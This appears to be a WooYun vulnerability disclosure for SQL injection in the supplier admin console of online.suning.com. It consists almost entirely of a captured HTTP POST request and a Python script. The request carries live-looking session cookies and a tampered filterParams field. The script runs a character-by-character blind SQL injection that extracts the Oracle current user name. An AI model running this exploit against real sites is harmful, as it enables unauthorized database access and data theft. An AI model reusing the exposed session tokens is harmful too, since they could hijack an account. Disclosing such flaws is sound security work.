WooYun.org

POST /console/Service/supplieradmin/leaveMessage/pageLeaveMsg HTTP/1.1
Host: online.suning.com
Proxy-Connection: keep-alive
Content-Length: 68
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://online.suning.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://online.suning.com/console/Service/common/index?url=/supplieradmin/leaveMsg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=66B79260AC180DAE0167D2861D886E8D; pgv_pvi=1006653440; WC_SERVER=4; _snAdId=143654543369628955; WC_PERSISTENT=ansJiB7g9KJtNNdkBSorwMktXpI%3d%0a%3b2015%2d07%2d16+14%3a28%3a38%2e206%5f1433728729709%2d156515%5f10052; sesabv=32%2350%3A50; sesab=b; __utma=1.423118213.1433901447.1435743774.1437065423.11; __utmz=1.1434098745.6.6.utmcsr=zq-shdq|utmccn=paiqi'|utmcmd=shrxlt; Hm_lvt_cb12e33a15345914e449a2ed82a2a216=1434521806,1435312601,1435743182,1437110664; snbar=6; _snsr=baidu.com%7Corganic%7C%7C%7C*%3A*; cart_abtest_num=93; _customId=9gnkfc164943; _device_session_id=p_343ceb95-80eb-4097-ac7b-3293eb83baf6; WC_SESSION_ESTABLISHED=true; WC_ACTIVEPOINTER=%2d7%2c10052; WC_USERACTIVITY_-1002=%2d1002%2c10052%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cHfu4AyHVyTEH5%2fLoLwRp0%2frI3cWrBquyD%2fSaNhM3UZ0lBXgogKjO%2fnlhmMBqRneXznt1e%2f9dd%2bzY%0aoMsZyFS0q8LAGsg%2fsa67r4Ly727glrY7th3HLSjZJM9ZJW8Wa3brnDvB07nGL0a6Zp7p1A5wfw%3d%3d; WC_GENERIC_ACTIVITYDATA=[40000117199724174%3atrue%3afalse%3a0%3ayzcXbS1EnH3QCR3TYV4MlI6GMjY%3d][com.ibm.commerce.context.audit.AuditContext|1433728729709%2d156515][com.ibm.commerce.store.facade.server.context.StoreGeoCodeContext|null%26null%26null%26null%26null%26null][CTXSETNAME|Store][com.ibm.commerce.context.globalization.GlobalizationContext|%2d7%26CNY%26%2d7%26CNY][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.suning.commerce.context.common.SNContext|9173%26%2d1%26null%26106%2e125%2e143%2e221%252C%2b123%2e150%2e53%2e98%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null%26null][com.ibm.commerce.context.base.BaseContext|10052%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.experiment.ExperimentContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|10007%2610007%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.giftcenter.context.GiftCenterContext|null%26null%26null]; custno=6107743192; idsLoginUserIdLastTime=83465073%40qq.com; logonStatus=2; nick=83***3%40qq.com; nick2=83***3%40qq.com; authId=siA718DEF685D9E3AFA9065588D2AEF517; c1hc=%7Bct%3A%221437271729698%22%2CtotalPay%3A%22339.00%22%2Cvendors%3A%5B%7Bfreight%3A%220.00%22%2Cvendor%3A%220000000000%22%7D%5D%2Cdifference%3A%220%22%2CtotalFreight%3A%220.00%22%7D; cartv20=%7B%7D; cartv21=%7B%7D; totalProdQty=0; __wmv=1433915891.19; SN_CITY=40_471_1000212_9211_01_11660_1_2; cityId=9211; districtId=11660; _saPageSaleInfo=6107743192%3A125063874_0070071303%7C143727175397762594%7C%2C126586635_0000000000%7C143727182343544556%7C; cart_abtest=B; _snms=143727193050539876; smhst=129001270a107282819a104306736a108276955a126586635a125063874a109148874a108144914; _snma=1%7C143390144697558263%7C1433901446975%7C1437271949575%7C1437272235550%7C840%7C76; _snmc=1; _snmp=143727223554572501; _snmb=143727169607183077%7C1437272235634%7C1437272235557%7C15; _ga=GA1.2.423118213.1433901447; NSC_JOzowva3engs1kde2hps3rbjaw2tnc0=ffffffffc3a0699545525d5f4f58455e445a4a423660
filterParams=+1+%3D+1+'&page=1&rows=20&sort=createTimeDay&order=desc

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
	   'X-Requested-With': 'XMLHttpRequest',
           'Proxy-Connection':'keep-alive',
	   'Referer': 'http://online.suning.com/console/Service/common/index?url=/supplieradmin/chatinfo',
	   'Cookie': 'JSESSIONID=66B79260AC180DAE0167D2861D886E8D',
	   'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36'}
payloads = list(string.ascii_uppercase)
#payloads = list('T')
print 'start to retrive Oracle user:'
user = ''
for i in range(1,7):
    for payload in payloads:
        conn = httplib.HTTPConnection('online.suning.com', timeout=60)
        params = {
            'filterParams': " 1 = 1 and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)),	
            'page': '1',	
            'rows': '20',
            'sort': 'createTimeDay',
	    'order': 'asc',
	    'customerId':'',
            }
        #print urllib.urlencode(params)
        conn.request(method='POST',
                     url='/console/Service/supplieradmin/leaveMessage/pageLeaveMsg',
                     body = urllib.urlencode(params),
                     headers = headers)
        resp = conn.getresponse()
        html_doc = resp.read().decode('utf-8')
        conn.close()
        #print html_doc
        print '.',
        if html_doc.find(u'messageId') > 0:  # True
            user += payload
            print '\n[in progress]', user
            break
print '\nOracle user is', user